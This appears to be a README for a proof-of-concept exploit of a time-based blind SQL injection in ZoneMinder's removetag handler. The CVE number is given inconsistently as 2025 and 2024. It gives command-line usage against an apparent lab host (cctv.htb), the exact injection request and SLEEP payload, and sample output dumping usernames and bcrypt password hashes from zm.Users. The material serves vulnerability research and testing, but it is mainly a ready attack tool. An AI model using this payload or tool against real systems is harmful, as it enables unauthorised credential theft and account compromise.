
CVE-2025-51482 POC, Dump Credentials From zm.Users
A proof-of-concept exploit for CVE-2024-51482, an authenticated time-based blind SQL injection vulnerability in ZoneMinder v1.37. ≤ 1.37.64*.
The script extracts usernames and password hashes from the zm.Users table using binary search (bisection) over a SLEEP()-based oracle.
The removetag handler in web/ajax/event.php safely parameterizes a DELETE query but then directly interpolates user-controlled input into a subsequent SELECT:
// Safe — parameterized
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
// Vulnerable — string interpolation
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
$tagId comes straight from $_REQUEST['tid'] with no sanitization, allowing injection through the tid parameter.
requests (pip install requests)ZMSESSID session cookie from a logged-in ZoneMinder accountpython3 CVE-2024-51482.py --url <TARGET_URL> --zmsessid <SESSION_COOKIE>
Arguments:
--url — ZoneMinder base URL (e.g. http://cctv.htb/zm) (required)--zmsessid — ZMSESSID cookie value (required)--sleep — sleep seconds for time-based inference (default: 3)--timeout — request timeout in seconds (default: sleep + 3)Examples:
# Basic
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh
# Faster on low-latency networks
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 2
# Custom timeout
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 3 --timeout 10
Log in to ZoneMinder, open browser DevTools (F12) -> Application -> Cookies, and copy the value of ZMSESSID. Alternatively, intercept any authenticated request in Burp Suite and grab it from the Cookie header.
[*] Baseline check...
[*] Baseline: 0.62s
[*] Testing injection...
[*] Sleep test: 2.66s
[+] Injection confirmed!
[*] Dumping ZoneMinder Users...
[*] Counting rows in zm.Users...
[+] Found 3 user(s)
[*] Extracting username 1/3...
[*] Length: 5
[*] admin
[+] Username: admin
[*] Extracting password for 'admin'...
[*] Length: 60
[*] $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[+] Password hash: $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[*] Extracting username 2/3...
[*] Length: 4
[*] mark
[+] Username: mark
[*] Extracting password for 'mark'...
[*] Length: 60
[*] $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[+] Password hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[*] Extracting username 3/3...
[*] Length: 10
[*] superadmin
[+] Username: superadmin
[*] Extracting password for 'superadmin'...
[*] Length: 60
[*] $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Password hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
==================================================
DUMP COMPLETE
==================================================
admin : $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
mark : $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
superadmin : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
tid=1 request to measure normal response time.SLEEP(2) and verifies the response is delayed ≥2 seconds.COUNT(*) on zm.Users to find how many accounts exist.Username and Password (~7 requests per character vs. 95 for linear scan).Payload structure:
GET /zm/index.php?view=request&request=event&action=removetag&tid=<PAYLOAD>&id=1
1 AND (SELECT 1 FROM (SELECT SLEEP(3) FROM DUAL WHERE <condition>) as dummy)
id=1 is required because the safe DELETE before the vulnerable SELECT would throw a 500 error without it, aborting execution before injection is reached.
This tool is for authorized security testing and educational research only.
Always obtain explicit written permission before testing any system you do not own.
The author assumes no responsibility for misuse or damage caused by this software.